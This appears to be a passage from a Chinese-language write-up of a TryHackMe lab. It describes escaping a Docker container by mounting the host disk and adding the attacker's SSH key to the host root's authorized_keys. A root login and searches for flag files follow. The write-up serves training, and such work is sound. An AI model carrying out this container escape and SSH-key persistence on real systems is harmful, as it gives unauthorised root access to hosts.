用fdisk -l命令打印发现/dev/xvda1这个分区应该是主机的分区
我们把它挂载到当前docker镜像的/mnt/compromise下面:
mkdir -p /mnt/compromise
mount /dev/xvda1 /mnt/compromise在/mnt/compromise/root 拿到 root flag
把攻击机的公钥追加到靶机的authorized_keys
echo "ssh-rsa *************" >> /mnt/compromise/root/.ssh/authorized_keysroot身份登录靶机
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# ssh [email protected] -p 22 255 ⨯
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1037-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Oct 29 08:25:38 UTC 2021
System load: 0.04
Usage of /: 88.8% of 7.69GB
Memory usage: 72%
Swap usage: 37%
Processes: 205
Users logged in: 0
IPv4 address for br-9c1efeb291f3: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.243.173
=> / is using 88.8% of 7.69GB
0 updates can be installed immediately.
0 of these updates are security updates.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
root@ip-10-10-243-173:~# cat /var/www/container2_flag.txt
cat: /var/www/container2_flag.txt: No such file or directory
root@ip-10-10-243-173:~# whoami
root全局查找flag2
root@ip-10-10-243-173:/# find / -name container2_flag.txt
find: ‘/proc/27811’: No such file or directory
/var/lib/docker/overlay2/fb80a052499ad52a2df535ce669f4cca3b02009c751ab47752374a566ec61667/diff/var/www/container2_flag.txt
/var/lib/docker/overlay2/7149ee32cde09f7439cc3588b5f757bd6b16aaaccb59f8cf3291e8d6dc6c05db/merged/var/www/container2_flag.txt全局查找flag3
root@ip-10-10-243-173:/# find / -name container3_flag.txt
find: ‘/proc/28025/task/28025/net’: Invalid argument
find: ‘/proc/28025/net’: Invalid argument
/var/lib/docker/overlay2/d38650b56ff4bbca92fe794176a3394bd05fc9d55d87341b1c0d2a54b5ae1c03/merged/home/container3_flag.txt
/var/lib/docker/overlay2/5bfb136d474f285a5a6133918e11acd8212b7559b33494e11e8c72fbe7e2f6c6/diff/home/container3_flag.txt